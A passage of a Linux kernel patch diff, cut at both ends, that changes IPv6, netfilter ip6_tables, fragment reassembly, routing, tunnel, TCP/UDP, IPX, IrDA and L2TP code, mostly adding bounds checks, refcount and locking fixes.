*sk) net->ipv6.devconf_all); write_unlock_bh(&mrt_lock); - mroute_clean_tables(mrt); + mroute_clean_tables(mrt, false); err = 0; break; } diff --git a/net/ipv6/mcast.c b/net/ipv6/mcast.c index 734aec059ffda..7ba6180ff8bdc 100644 --- a/net/ipv6/mcast.c +++ b/net/ipv6/mcast.c @@ -1441,7 +1441,6 @@ static void mld_sendpack(struct sk_buff *skb) if (!err) { ICMP6MSGOUT_INC_STATS(net, idev, ICMPV6_MLD2_REPORT); ICMP6_INC_STATS(net, idev, ICMP6_MIB_OUTMSGS); - IP6_UPD_PO_STATS(net, idev, IPSTATS_MIB_OUTMCAST, payload_len); } else { IP6_INC_STATS(net, idev, IPSTATS_MIB_OUTDISCARDS); } @@ -1805,7 +1804,6 @@ static void igmp6_send(struct in6_addr *addr, struct net_device *dev, int type) if (!err) { ICMP6MSGOUT_INC_STATS(net, idev, type); ICMP6_INC_STATS(net, idev, ICMP6_MIB_OUTMSGS); - IP6_UPD_PO_STATS(net, idev, IPSTATS_MIB_OUTMCAST, full_len); } else IP6_INC_STATS(net, idev, IPSTATS_MIB_OUTDISCARDS); diff --git a/net/ipv6/ndisc.c b/net/ipv6/ndisc.c index 3939f771f1280..54eaebf1075c2 100644 --- a/net/ipv6/ndisc.c +++ b/net/ipv6/ndisc.c @@ -1584,7 +1584,7 @@ static int ndisc_netdev_event(struct notifier_block *this, unsigned long event, switch (event) { case NETDEV_CHANGEADDR: neigh_changeaddr(&nd_tbl, dev); - fib6_run_gc(~0UL, net); + fib6_run_gc(0, net, false); idev = in6_dev_get(dev); if (!idev) break; @@ -1594,7 +1594,7 @@ static int ndisc_netdev_event(struct notifier_block *this, unsigned long event, break; case NETDEV_DOWN: neigh_ifdown(&nd_tbl, dev); - fib6_run_gc(~0UL, net); + fib6_run_gc(0, net, false); break; case NETDEV_NOTIFY_PEERS: ndisc_send_unsol_na(dev); diff --git a/net/ipv6/netfilter/ip6_tables.c b/net/ipv6/netfilter/ip6_tables.c index bc0615b1cf63e..9802b24696625 100644 --- a/net/ipv6/netfilter/ip6_tables.c +++ b/net/ipv6/netfilter/ip6_tables.c @@ -526,6 +526,8 @@ mark_source_chains(const struct xt_table_info *newinfo, size = e->next_offset; e = (struct ip6t_entry *) (entry0 + pos + size); + if (pos + size >= newinfo->size) + return 0; e->counters.pcnt = pos; pos += size; } else { @@ -547,6 +549,8 @@ mark_source_chains(const struct xt_table_info *newinfo, } else { /* ... this is a fallthru */ newpos = pos + e->next_offset; + if (newpos >= newinfo->size) + return 0; } e = (struct ip6t_entry *) (entry0 + newpos); @@ -573,25 +577,6 @@ static void cleanup_match(struct xt_entry_match *m, struct net *net) module_put(par.match->me); } -static int -check_entry(const struct ip6t_entry *e) -{ - const struct xt_entry_target *t; - - if (!ip6_checkentry(&e->ipv6)) - return -EINVAL; - - if (e->target_offset + sizeof(struct xt_entry_target) > - e->next_offset) - return -EINVAL; - - t = ip6t_get_target_c(e); - if (e->target_offset + t->u.target_size > e->next_offset) - return -EINVAL; - - return 0; -} - static int check_match(struct xt_entry_match *m, struct xt_mtchk_param *par) { const struct ip6t_ip6 *ipv6 = par->entryinfo; @@ -749,7 +734,11 @@ check_entry_size_and_hooks(struct ip6t_entry *e, return -EINVAL; } - err = check_entry(e); + if (!ip6_checkentry(&e->ipv6)) + return -EINVAL; + + err = xt_check_entry_offsets(e, e->elems, e->target_offset, + e->next_offset); if (err) return err; @@ -1272,6 +1261,9 @@ do_replace(struct net *net, const void __user *user, unsigned int len) /* overflow check */ if (tmp.num_counters >= INT_MAX / sizeof(struct xt_counters)) return -ENOMEM; + if (tmp.num_counters == 0) + return -EINVAL; + tmp.name[sizeof(tmp.name)-1] = 0; newinfo = xt_alloc_table_info(tmp.size); @@ -1313,56 +1305,17 @@ do_add_counters(struct net *net, const void __user *user, unsigned int len, unsigned int i, curcpu; struct xt_counters_info tmp; struct xt_counters *paddc; - unsigned int num_counters; - char *name; - int size; - void *ptmp; struct xt_table *t; const struct xt_table_info *private; int ret = 0; const void *loc_cpu_entry; struct ip6t_entry *iter; unsigned int addend; -#ifdef CONFIG_COMPAT - struct compat_xt_counters_info compat_tmp; - - if (compat) { - ptmp = &compat_tmp; - size = sizeof(struct compat_xt_counters_info); - } else -#endif - { - ptmp = &tmp; - size = sizeof(struct xt_counters_info); - } - - if (copy_from_user(ptmp, user, size) != 0) - return -EFAULT; - -#ifdef CONFIG_COMPAT - if (compat) { - num_counters = compat_tmp.num_counters; - name = compat_tmp.name; - } else -#endif - { - num_counters = tmp.num_counters; - name = tmp.name; - } - - if (len != size + num_counters * sizeof(struct xt_counters)) - return -EINVAL; - paddc = vmalloc(len - size); - if (!paddc) - return -ENOMEM; - - if (copy_from_user(paddc, user + size, len - size) != 0) { - ret = -EFAULT; - goto free; - } - - t = xt_find_table_lock(net, AF_INET6, name); + paddc = xt_copy_counters_from_user(user, len, &tmp, compat); + if (IS_ERR(paddc)) + return PTR_ERR(paddc); + t = xt_find_table_lock(net, AF_INET6, tmp.name); if (IS_ERR_OR_NULL(t)) { ret = t ? PTR_ERR(t) : -ENOENT; goto free; @@ -1371,7 +1324,7 @@ do_add_counters(struct net *net, const void __user *user, unsigned int len, local_bh_disable(); private = t->private; - if (private->number != num_counters) { + if (private->number != tmp.num_counters) { ret = -EINVAL; goto unlock_up_free; } @@ -1451,7 +1404,6 @@ compat_copy_entry_to_user(struct ip6t_entry *e, void __user **dstptr, static int compat_find_calc_match(struct xt_entry_match *m, - const char *name, const struct ip6t_ip6 *ipv6, unsigned int hookmask, int *size) @@ -1487,17 +1439,14 @@ check_compat_entry_size_and_hooks(struct compat_ip6t_entry *e, struct xt_table_info *newinfo, unsigned int *size, const unsigned char *base, - const unsigned char *limit, - const unsigned int *hook_entries, - const unsigned int *underflows, - const char *name) + const unsigned char *limit) { struct xt_entry_match *ematch; struct xt_entry_target *t; struct xt_target *target; unsigned int entry_offset; unsigned int j; - int ret, off, h; + int ret, off; duprintf("check_compat_entry_size_and_hooks %p\n", e); if ((unsigned long)e % __alignof__(struct compat_ip6t_entry) != 0 || @@ -1514,8 +1463,11 @@ check_compat_entry_size_and_hooks(struct compat_ip6t_entry *e, return -EINVAL; } - /* For purposes of check_entry casting the compat entry is fine */ - ret = check_entry((struct ip6t_entry *)e); + if (!ip6_checkentry(&e->ipv6)) + return -EINVAL; + + ret = xt_compat_check_entry_offsets(e, e->elems, + e->target_offset, e->next_offset); if (ret) return ret; @@ -1523,8 +1475,8 @@ check_compat_entry_size_and_hooks(struct compat_ip6t_entry *e, entry_offset = (void *)e - (void *)base; j = 0; xt_ematch_foreach(ematch, e) { - ret = compat_find_calc_match(ematch, name, - &e->ipv6, e->comefrom, &off); + ret = compat_find_calc_match(ematch, &e->ipv6, e->comefrom, + &off); if (ret != 0) goto release_matches; ++j; @@ -1547,17 +1499,6 @@ check_compat_entry_size_and_hooks(struct compat_ip6t_entry *e, if (ret) goto out; - /* Check hooks & underflows */ - for (h = 0; h < NF_INET_NUMHOOKS; h++) { - if ((unsigned char *)e - base == hook_entries[h]) - newinfo->hook_entry[h] = hook_entries[h]; - if ((unsigned char *)e - base == underflows[h]) - newinfo->underflow[h] = underflows[h]; - } - - /* Clear counters and comefrom */ - memset(&e->counters, 0, sizeof(e->counters)); - e->comefrom = 0; return 0; out: @@ -1571,18 +1512,17 @@ check_compat_entry_size_and_hooks(struct compat_ip6t_entry *e, return ret; } -static int +static void compat_copy_entry_from_user(struct compat_ip6t_entry *e, void **dstptr, - unsigned int *size, const char *name, + unsigned int *size, struct xt_table_info *newinfo, unsigned char *base) { struct xt_entry_target *t; struct ip6t_entry *de; unsigned int origsize; - int ret, h; + int h; struct xt_entry_match *ematch; - ret = 0; origsize = *size; de = (struct ip6t_entry *)*dstptr; memcpy(de, e, sizeof(struct ip6t_entry)); @@ -1591,11 +1531,9 @@ compat_copy_entry_from_user(struct compat_ip6t_entry *e, void **dstptr, *dstptr += sizeof(struct ip6t_entry); *size += sizeof(struct ip6t_entry) - sizeof(struct compat_ip6t_entry); - xt_ematch_foreach(ematch, e) { - ret = xt_compat_match_from_user(ematch, dstptr, size); - if (ret != 0) - return ret; - } + xt_ematch_foreach(ematch, e) + xt_compat_match_from_user(ematch, dstptr, size); + de->target_offset = e->target_offset - (origsize - *size); t = compat_ip6t_get_target(e); xt_compat_target_from_user(t, dstptr, size); @@ -1607,181 +1545,82 @@ compat_copy_entry_from_user(struct compat_ip6t_entry *e, void **dstptr, if ((unsigned char *)de - base < newinfo->underflow[h]) newinfo->underflow[h] -= origsize - *size; } - return ret; -} - -static int compat_check_entry(struct ip6t_entry *e, struct net *net, - const char *name) -{ - unsigned int j; - int ret = 0; - struct xt_mtchk_param mtpar; - struct xt_entry_match *ematch; - - j = 0; - mtpar.net = net; - mtpar.table = name; - mtpar.entryinfo = &e->ipv6; - mtpar.hook_mask = e->comefrom; - mtpar.family = NFPROTO_IPV6; - xt_ematch_foreach(ematch, e) { - ret = check_match(ematch, &mtpar); - if (ret != 0) - goto cleanup_matches; - ++j; - } - - ret = check_target(e, net, name); - if (ret) - goto cleanup_matches; - return 0; - - cleanup_matches: - xt_ematch_foreach(ematch, e) { - if (j-- == 0) - break; - cleanup_match(ematch, net); - } - return ret; } static int translate_compat_table(struct net *net, - const char *name, - unsigned int valid_hooks, struct xt_table_info **pinfo, void **pentry0, - unsigned int total_size, - unsigned int number, - unsigned int *hook_entries, - unsigned int *underflows) + const struct compat_ip6t_replace *compatr) { unsigned int i, j; struct xt_table_info *newinfo, *info; void *pos, *entry0, *entry1; struct compat_ip6t_entry *iter0; - struct ip6t_entry *iter1; + struct ip6t_replace repl; unsigned int size; int ret = 0; info = *pinfo; entry0 = *pentry0; - size = total_size; - info->number = number; - - /* Init all hooks to impossible value. */ - for (i = 0; i < NF_INET_NUMHOOKS; i++) { - info->hook_entry[i] = 0xFFFFFFFF; - info->underflow[i] = 0xFFFFFFFF; - } + size = compatr->size; + info->number = compatr->num_entries; duprintf("translate_compat_table: size %u\n", info->size); j = 0; xt_compat_lock(AF_INET6); - xt_compat_init_offsets(AF_INET6, number); + xt_compat_init_offsets(AF_INET6, compatr->num_entries); /* Walk through entries, checking offsets. */ - xt_entry_foreach(iter0, entry0, total_size) { + xt_entry_foreach(iter0, entry0, compatr->size) { ret = check_compat_entry_size_and_hooks(iter0, info, &size, entry0, - entry0 + total_size, - hook_entries, - underflows, - name); + entry0 + compatr->size); if (ret != 0) goto out_unlock; ++j; } ret = -EINVAL; - if (j != number) { + if (j != compatr->num_entries) { duprintf("translate_compat_table: %u not %u entries\n", - j, number); + j, compatr->num_entries); goto out_unlock; } - /* Check hooks all assigned */ - for (i = 0; i < NF_INET_NUMHOOKS; i++) { - /* Only hooks which are valid */ - if (!(valid_hooks & (1 << i))) - continue; - if (info->hook_entry[i] == 0xFFFFFFFF) { - duprintf("Invalid hook entry %u %u\n", - i, hook_entries[i]); - goto out_unlock; - } - if (info->underflow[i] == 0xFFFFFFFF) { - duprintf("Invalid underflow %u %u\n", - i, underflows[i]); - goto out_unlock; - } - } - ret = -ENOMEM; newinfo = xt_alloc_table_info(size); if (!newinfo) goto out_unlock; - newinfo->number = number; + newinfo->number = compatr->num_entries; for (i = 0; i < NF_INET_NUMHOOKS; i++) { - newinfo->hook_entry[i] = info->hook_entry[i]; - newinfo->underflow[i] = info->underflow[i]; + newinfo->hook_entry[i] = compatr->hook_entry[i]; + newinfo->underflow[i] = compatr->underflow[i]; } entry1 = newinfo->entries[raw_smp_processor_id()]; pos = entry1; - size = total_size; - xt_entry_foreach(iter0, entry0, total_size) { - ret = compat_copy_entry_from_user(iter0, &pos, &size, - name, newinfo, entry1); - if (ret != 0) - break; - } + size = compatr->size; + xt_entry_foreach(iter0, entry0, compatr->size) + compat_copy_entry_from_user(iter0, &pos, &size, + newinfo, entry1); + + /* all module references in entry0 are now gone. */ xt_compat_flush_offsets(AF_INET6); xt_compat_unlock(AF_INET6); - if (ret) - goto free_newinfo; - ret = -ELOOP; - if (!mark_source_chains(newinfo, valid_hooks, entry1)) - goto free_newinfo; + memcpy(&repl, compatr, sizeof(*compatr)); - i = 0; - xt_entry_foreach(iter1, entry1, newinfo->size) { - ret = compat_check_entry(iter1, net, name); - if (ret != 0) - break; - ++i; - if (strcmp(ip6t_get_target(iter1)->u.user.name, - XT_ERROR_TARGET) == 0) - ++newinfo->stacksize; - } - if (ret) { - /* - * The first i matches need cleanup_entry (calls ->destroy) - * because they had called ->check already. The other j-i - * entries need only release. - */ - int skip = i; - j -= i; - xt_entry_foreach(iter0, entry0, newinfo->size) { - if (skip-- > 0) - continue; - if (j-- == 0) - break; - compat_release_entry(iter0); - } - xt_entry_foreach(iter1, entry1, newinfo->size) { - if (i-- == 0) - break; - cleanup_entry(iter1, net); - } - xt_free_table_info(newinfo); - return ret; + for (i = 0; i < NF_INET_NUMHOOKS; i++) { + repl.hook_entry[i] = newinfo->hook_entry[i]; + repl.underflow[i] = newinfo->underflow[i]; } - /* And one copy for every other CPU */ - for_each_possible_cpu(i) - if (newinfo->entries[i] && newinfo->entries[i] != entry1) - memcpy(newinfo->entries[i], entry1, newinfo->size); + repl.num_counters = 0; + repl.counters = NULL; + repl.size = newinfo->size; + ret = translate_table(net, newinfo, entry1, &repl); + if (ret) + goto free_newinfo; *pinfo = newinfo; *pentry0 = entry1; @@ -1790,17 +1629,16 @@ translate_compat_table(struct net *net, free_newinfo: xt_free_table_info(newinfo); -out: - xt_entry_foreach(iter0, entry0, total_size) { + return ret; +out_unlock: + xt_compat_flush_offsets(AF_INET6); + xt_compat_unlock(AF_INET6); + xt_entry_foreach(iter0, entry0, compatr->size) { if (j-- == 0) break; compat_release_entry(iter0); } return ret; -out_unlock: - xt_compat_flush_offsets(AF_INET6); - xt_compat_unlock(AF_INET6); - goto out; } static int @@ -1820,6 +1658,9 @@ compat_do_replace(struct net *net, void __user *user, unsigned int len) return -ENOMEM; if (tmp.num_counters >= INT_MAX / sizeof(struct xt_counters)) return -ENOMEM; + if (tmp.num_counters == 0) + return -EINVAL; + tmp.name[sizeof(tmp.name)-1] = 0; newinfo = xt_alloc_table_info(tmp.size); @@ -1834,10 +1675,7 @@ compat_do_replace(struct net *net, void __user *user, unsigned int len) goto free_newinfo; } - ret = translate_compat_table(net, tmp.name, tmp.valid_hooks, - &newinfo, &loc_cpu_entry, tmp.size, - tmp.num_entries, tmp.hook_entry, - tmp.underflow); + ret = translate_compat_table(net, &newinfo, &loc_cpu_entry, &tmp); if (ret != 0) goto free_newinfo; diff --git a/net/ipv6/netfilter/nf_conntrack_reasm.c b/net/ipv6/netfilter/nf_conntrack_reasm.c index 253566a8d55b1..7cd6235885320 100644 --- a/net/ipv6/netfilter/nf_conntrack_reasm.c +++ b/net/ipv6/netfilter/nf_conntrack_reasm.c @@ -172,7 +172,7 @@ static void nf_ct_frag6_expire(unsigned long data) /* Creation primitives. */ static inline struct frag_queue *fq_find(struct net *net, __be32 id, u32 user, struct in6_addr *src, - struct in6_addr *dst, u8 ecn) + struct in6_addr *dst, int iif, u8 ecn) { struct inet_frag_queue *q; struct ip6_create_arg arg; @@ -182,6 +182,7 @@ static inline struct frag_queue *fq_find(struct net *net, __be32 id, arg.user = user; arg.src = src; arg.dst = dst; + arg.iif = iif; arg.ecn = ecn; read_lock_bh(&nf_frags.lock); @@ -590,7 +591,7 @@ struct sk_buff *nf_ct_frag6_gather(struct sk_buff *skb, u32 user) local_bh_enable(); fq = fq_find(net, fhdr->identification, user, &hdr->saddr, &hdr->daddr, - ip6_frag_ecn(hdr)); + skb->dev ? skb->dev->ifindex : 0, ip6_frag_ecn(hdr)); if (fq == NULL) { pr_debug("Can't find and can't create new queue\n"); goto ret_orig; diff --git a/net/ipv6/output_core.c b/net/ipv6/output_core.c index 3d2c81a66d6a1..a5d465105b693 100644 --- a/net/ipv6/output_core.c +++ b/net/ipv6/output_core.c @@ -6,29 +6,6 @@ #include #include -void ipv6_select_ident(struct frag_hdr *fhdr, struct rt6_info *rt) -{ - static atomic_t ipv6_fragmentation_id; - int ident; - -#if IS_ENABLED(CONFIG_IPV6) - if (rt && !(rt->dst.flags & DST_NOPEER)) { - struct inet_peer *peer; - struct net *net; - - net = dev_net(rt->dst.dev); - peer = inet_getpeer_v6(net->ipv6.peers, &rt->rt6i_dst.addr, 1); - if (peer) { - fhdr->identification = htonl(inet_getid(peer, 0)); - inet_putpeer(peer); - return; - } - } -#endif - ident = atomic_inc_return(&ipv6_fragmentation_id); - fhdr->identification = htonl(ident); -} -EXPORT_SYMBOL(ipv6_select_ident); int ip6_find_1stfragopt(struct sk_buff *skb, u8 **nexthdr) { diff --git a/net/ipv6/reassembly.c b/net/ipv6/reassembly.c index 1aeb473b2cc69..a1fb511da3b5b 100644 --- a/net/ipv6/reassembly.c +++ b/net/ipv6/reassembly.c @@ -111,7 +111,10 @@ bool ip6_frag_match(struct inet_frag_queue *q, void *a) return fq->id == arg->id && fq->user == arg->user && ipv6_addr_equal(&fq->saddr, arg->src) && - ipv6_addr_equal(&fq->daddr, arg->dst); + ipv6_addr_equal(&fq->daddr, arg->dst) && + (arg->iif == fq->iif || + !(ipv6_addr_type(arg->dst) & (IPV6_ADDR_MULTICAST | + IPV6_ADDR_LINKLOCAL))); } EXPORT_SYMBOL(ip6_frag_match); @@ -180,7 +183,7 @@ static void ip6_frag_expire(unsigned long data) static __inline__ struct frag_queue * fq_find(struct net *net, __be32 id, const struct in6_addr *src, - const struct in6_addr *dst, u8 ecn) + const struct in6_addr *dst, int iif, u8 ecn) { struct inet_frag_queue *q; struct ip6_create_arg arg; @@ -190,6 +193,7 @@ fq_find(struct net *net, __be32 id, const struct in6_addr *src, arg.user = IP6_DEFRAG_LOCAL_DELIVER; arg.src = src; arg.dst = dst; + arg.iif = iif; arg.ecn = ecn; read_lock(&ip6_frags.lock); @@ -558,7 +562,7 @@ static int ipv6_frag_rcv(struct sk_buff *skb) IPSTATS_MIB_REASMFAILS, evicted); fq = fq_find(net, fhdr->identification, &hdr->saddr, &hdr->daddr, - ip6_frag_ecn(hdr)); + skb->dev ? skb->dev->ifindex : 0, ip6_frag_ecn(hdr)); if (fq != NULL) { int ret; diff --git a/net/ipv6/route.c b/net/ipv6/route.c index 48781813a3b00..ff96c808d8411 100644 --- a/net/ipv6/route.c +++ b/net/ipv6/route.c @@ -108,7 +108,7 @@ static u32 *ipv6_cow_metrics(struct dst_entry *dst, unsigned long old) u32 *p = NULL; if (!(rt->dst.flags & DST_HOST)) - return NULL; + return dst_cow_metrics_generic(dst, old); peer = rt6_get_peer_create(rt); if (peer) { @@ -1137,12 +1137,9 @@ static void ip6_rt_update_pmtu(struct dst_entry *dst, struct sock *sk, struct net *net = dev_net(dst->dev); rt6->rt6i_flags |= RTF_MODIFIED; - if (mtu < IPV6_MIN_MTU) { - u32 features = dst_metric(dst, RTAX_FEATURES); + if (mtu < IPV6_MIN_MTU) mtu = IPV6_MIN_MTU; - features |= RTAX_FEATURE_ALLFRAG; - dst_metric_set(dst, RTAX_FEATURES, features); - } + dst_metric_set(dst, RTAX_MTU, mtu); rt6_update_expires(rt6, net->ipv6.sysctl.ip6_rt_mtu_expires); } @@ -1333,7 +1330,6 @@ static void icmp6_clean_all(int (*func)(struct rt6_info *rt, void *arg), static int ip6_dst_gc(struct dst_ops *ops) { - unsigned long now = jiffies; struct net *net = container_of(ops, struct net, ipv6.ip6_dst_ops); int rt_min_interval = net->ipv6.sysctl.ip6_rt_gc_min_interval; int rt_max_size = net->ipv6.sysctl.ip6_rt_max_size; @@ -1343,13 +1339,12 @@ static int ip6_dst_gc(struct dst_ops *ops) int entries; entries = dst_entries_get_fast(ops); - if (time_after(rt_last_gc + rt_min_interval, now) && + if (time_after(rt_last_gc + rt_min_interval, jiffies) && entries <= rt_max_size) goto out; net->ipv6.ip6_rt_gc_expire++; - fib6_run_gc(net->ipv6.ip6_rt_gc_expire, net); - net->ipv6.ip6_rt_last_gc = now; + fib6_run_gc(net->ipv6.ip6_rt_gc_expire, net, entries > rt_max_size); entries = dst_entries_get_slow(ops); if (entries < ops->gc_thresh) net->ipv6.ip6_rt_gc_expire = rt_gc_timeout>>1; @@ -2844,7 +2839,7 @@ int ipv6_sysctl_rtcache_flush(ctl_table *ctl, int write, net = (struct net *)ctl->extra1; delay = net->ipv6.sysctl.flush_delay; proc_dointvec(ctl, write, buffer, lenp, ppos); - fib6_run_gc(delay <= 0 ? ~0UL : (unsigned long)delay, net); + fib6_run_gc(delay <= 0 ? 0 : (unsigned long)delay, net, delay > 0); return 0; } diff --git a/net/ipv6/sit.c b/net/ipv6/sit.c index 540d58921007b..d9535bb8fe2e0 100644 --- a/net/ipv6/sit.c +++ b/net/ipv6/sit.c @@ -101,19 +101,19 @@ static struct ip_tunnel *ipip6_tunnel_lookup(struct net *net, for_each_ip_tunnel_rcu(t, sitn->tunnels_r_l[h0 ^ h1]) { if (local == t->parms.iph.saddr && remote == t->parms.iph.daddr && - (!dev || !t->parms.link || dev->iflink == t->parms.link) && + (!dev || !t->parms.link || dev->ifindex == t->parms.link) && (t->dev->flags & IFF_UP)) return t; } for_each_ip_tunnel_rcu(t, sitn->tunnels_r[h0]) { if (remote == t->parms.iph.daddr && - (!dev || !t->parms.link || dev->iflink == t->parms.link) && + (!dev || !t->parms.link || dev->ifindex == t->parms.link) && (t->dev->flags & IFF_UP)) return t; } for_each_ip_tunnel_rcu(t, sitn->tunnels_l[h1]) { if (local == t->parms.iph.saddr && - (!dev || !t->parms.link || dev->iflink == t->parms.link) && + (!dev || !t->parms.link || dev->ifindex == t->parms.link) && (t->dev->flags & IFF_UP)) return t; } @@ -530,13 +530,13 @@ static int ipip6_err(struct sk_buff *skb, u32 info) if (type == ICMP_DEST_UNREACH && code == ICMP_FRAG_NEEDED) { ipv4_update_pmtu(skb, dev_net(skb->dev), info, - t->parms.link, 0, IPPROTO_IPV6, 0); + t->parms.link, 0, iph->protocol, 0); err = 0; goto out; } if (type == ICMP_REDIRECT) { ipv4_redirect(skb, dev_net(skb->dev), t->parms.link, 0, - IPPROTO_IPV6, 0); + iph->protocol, 0); err = 0; goto out; } @@ -919,7 +919,7 @@ static netdev_tx_t ipip6_tunnel_xmit(struct sk_buff *skb, iph->ttl = iph6->hop_limit; skb->ip_summed = CHECKSUM_NONE; - ip_select_ident(skb, skb_dst(skb), NULL); + ip_select_ident(skb, NULL); iptunnel_xmit(skb, dev); return NETDEV_TX_OK; diff --git a/net/ipv6/tcp_ipv6.c b/net/ipv6/tcp_ipv6.c index dc348c13838ea..33465cee73043 100644 --- a/net/ipv6/tcp_ipv6.c +++ b/net/ipv6/tcp_ipv6.c @@ -1625,7 +1625,7 @@ static void tcp_v6_early_demux(struct sk_buff *skb) skb->sk = sk; skb->destructor = sock_edemux; if (sk->sk_state != TCP_TIME_WAIT) { - struct dst_entry *dst = sk->sk_rx_dst; + struct dst_entry *dst = ACCESS_ONCE(sk->sk_rx_dst); if (dst) dst = dst_check(dst, inet6_sk(sk)->rx_dst_cookie); @@ -1660,6 +1660,7 @@ static const struct inet_connection_sock_af_ops ipv6_specific = { .compat_setsockopt = compat_ipv6_setsockopt, .compat_getsockopt = compat_ipv6_getsockopt, #endif + .mtu_reduced = tcp_v6_mtu_reduced, }; #ifdef CONFIG_TCP_MD5SIG @@ -1691,6 +1692,7 @@ static const struct inet_connection_sock_af_ops ipv6_mapped = { .compat_setsockopt = compat_ipv6_setsockopt, .compat_getsockopt = compat_ipv6_getsockopt, #endif + .mtu_reduced = tcp_v4_mtu_reduced, }; #ifdef CONFIG_TCP_MD5SIG @@ -1774,7 +1776,9 @@ static void get_tcp6_sock(struct seq_file *seq, struct sock *sp, int i) destp = ntohs(inet->inet_dport); srcp = ntohs(inet->inet_sport); - if (icsk->icsk_pending == ICSK_TIME_RETRANS) { + if (icsk->icsk_pending == ICSK_TIME_RETRANS || + icsk->icsk_pending == ICSK_TIME_EARLY_RETRANS || + icsk->icsk_pending == ICSK_TIME_LOSS_PROBE) { timer_active = 1; timer_expires = icsk->icsk_timeout; } else if (icsk->icsk_pending == ICSK_TIME_PROBE0) { @@ -1928,7 +1932,6 @@ struct proto tcpv6_prot = { .sendpage = tcp_sendpage, .backlog_rcv = tcp_v6_do_rcv, .release_cb = tcp_release_cb, - .mtu_reduced = tcp_v6_mtu_reduced, .hash = tcp_v6_hash, .unhash = inet_unhash, .get_port = inet_csk_get_port, diff --git a/net/ipv6/udp.c b/net/ipv6/udp.c index 19beecacb0ac4..f4989e72568e8 100644 --- a/net/ipv6/udp.c +++ b/net/ipv6/udp.c @@ -370,6 +370,7 @@ int udpv6_recvmsg(struct kiocb *iocb, struct sock *sk, int peeked, off = 0; int err; int is_udplite = IS_UDPLITE(sk); + bool checksum_valid = false; int is_udp4; bool slow; @@ -401,11 +402,12 @@ int udpv6_recvmsg(struct kiocb *iocb, struct sock *sk, */ if (copied < ulen || UDP_SKB_CB(skb)->partial_cov) { - if (udp_lib_checksum_complete(skb)) + checksum_valid = !udp_lib_checksum_complete(skb); + if (!checksum_valid) goto csum_copy_err; } - if (skb_csum_unnecessary(skb)) + if (checksum_valid || skb_csum_unnecessary(skb)) err = skb_copy_datagram_iovec(skb, sizeof(struct udphdr), msg->msg_iov, copied); else { @@ -840,11 +842,9 @@ int __udp6_lib_rcv(struct sk_buff *skb, struct udp_table *udptable, int ret = udpv6_queue_rcv_skb(sk, skb); sock_put(sk); - /* a return value > 0 means to resubmit the input, but - * it wants the return to be -protocol, or 0 - */ + /* a return value > 0 means to resubmit the input */ if (ret > 0) - return -ret; + return ret; return 0; } diff --git a/net/ipv6/xfrm6_policy.c b/net/ipv6/xfrm6_policy.c index 23ed03d786c83..1c2e0c9ba8a19 100644 --- a/net/ipv6/xfrm6_policy.c +++ b/net/ipv6/xfrm6_policy.c @@ -284,7 +284,7 @@ static struct dst_ops xfrm6_dst_ops = { .destroy = xfrm6_dst_destroy, .ifdown = xfrm6_dst_ifdown, .local_out = __ip6_local_out, - .gc_thresh = 1024, + .gc_thresh = 32768, }; static struct xfrm_policy_afinfo xfrm6_policy_afinfo = { diff --git a/net/ipx/af_ipx.c b/net/ipx/af_ipx.c index e0897377b3b44..2665bf4b8d052 100644 --- a/net/ipx/af_ipx.c +++ b/net/ipx/af_ipx.c @@ -1778,6 +1778,7 @@ static int ipx_recvmsg(struct kiocb *iocb, struct socket *sock, struct ipxhdr *ipx = NULL; struct sk_buff *skb; int copied, rc; + bool locked = true; lock_sock(sk); /* put the autobinding in */ @@ -1804,6 +1805,8 @@ static int ipx_recvmsg(struct kiocb *iocb, struct socket *sock, if (sock_flag(sk, SOCK_ZAPPED)) goto out; + release_sock(sk); + locked = false; skb = skb_recv_datagram(sk, flags & ~MSG_DONTWAIT, flags & MSG_DONTWAIT, &rc); if (!skb) @@ -1837,7 +1840,8 @@ static int ipx_recvmsg(struct kiocb *iocb, struct socket *sock, out_free: skb_free_datagram(sk, skb); out: - release_sock(sk); + if (locked) + release_sock(sk); return rc; } diff --git a/net/irda/af_irda.c b/net/irda/af_irda.c index f8133ff5b0818..c95bafa65f5bb 100644 --- a/net/irda/af_irda.c +++ b/net/irda/af_irda.c @@ -1039,8 +1039,11 @@ static int irda_connect(struct socket *sock, struct sockaddr *uaddr, } /* Check if we have opened a local TSAP */ - if (!self->tsap) - irda_open_tsap(self, LSAP_ANY, addr->sir_name); + if (!self->tsap) { + err = irda_open_tsap(self, LSAP_ANY, addr->sir_name); + if (err) + goto out; + } /* Move to connecting socket, start sending Connect Requests */ sock->state = SS_CONNECTING; diff --git a/net/irda/ircomm/ircomm_tty.c b/net/irda/ircomm/ircomm_tty.c index 41ac7938268be..2ee29ed13bd41 100644 --- a/net/irda/ircomm/ircomm_tty.c +++ b/net/irda/ircomm/ircomm_tty.c @@ -820,7 +820,9 @@ static void ircomm_tty_wait_until_sent(struct tty_struct *tty, int timeout) orig_jiffies = jiffies; /* Set poll time to 200 ms */ - poll_time = IRDA_MIN(timeout, msecs_to_jiffies(200)); + poll_time = msecs_to_jiffies(200); + if (timeout) + poll_time = min_t(unsigned long, timeout, poll_time); spin_lock_irqsave(&self->spinlock, flags); while (self->tx_skb && self->tx_skb->len) { diff --git a/net/irda/irlmp.c b/net/irda/irlmp.c index 98ad6ec4bd3cc..8ad149478e197 100644 --- a/net/irda/irlmp.c +++ b/net/irda/irlmp.c @@ -1876,7 +1876,7 @@ static void *irlmp_seq_hb_idx(struct irlmp_iter_state *iter, loff_t *off) for (element = hashbin_get_first(iter->hashbin); element != NULL; element = hashbin_get_next(iter->hashbin)) { - if (!off || *off-- == 0) { + if (!off || (*off)-- == 0) { /* NB: hashbin left locked */ return element; } diff --git a/net/l2tp/l2tp_core.c b/net/l2tp/l2tp_core.c index 8c27de2b4d5a2..797ff373e4869 100644 --- a/net/l2tp/l2tp_core.c +++ b/net/l2tp/l2tp_core.c @@ -1381,7 +1381,7 @@ static void l2tp_tunnel_del_work(struct work_struct *work) tunnel = container_of(work, struct l2tp_tunnel, del_work); sk = l2tp_tunnel_sock_lookup(tunnel); if (!sk) - return; + goto out; sock = sk->sk_socket; @@ -1402,6 +1402,8 @@ static void l2tp_tunnel_del_work(struct work_struct *work) } l2tp_tunnel_sock_put(sk); +out: + l2tp_tunnel_dec_refcount(tunnel); } /* Create a socket for the tunnel, if one isn't set up by @@ -1731,8 +1733,13 @@ EXPORT_SYMBOL_GPL(l2tp_tunnel_create); */ int l2tp_tunnel_delete(struct l2tp_tunnel *tunnel) { + l2tp_tunnel_inc_refcount(tunnel); l2tp_tunnel_closeall(tunnel); - return (false == queue_work(l2tp_wq, &tunnel->del_work)); + if (false == 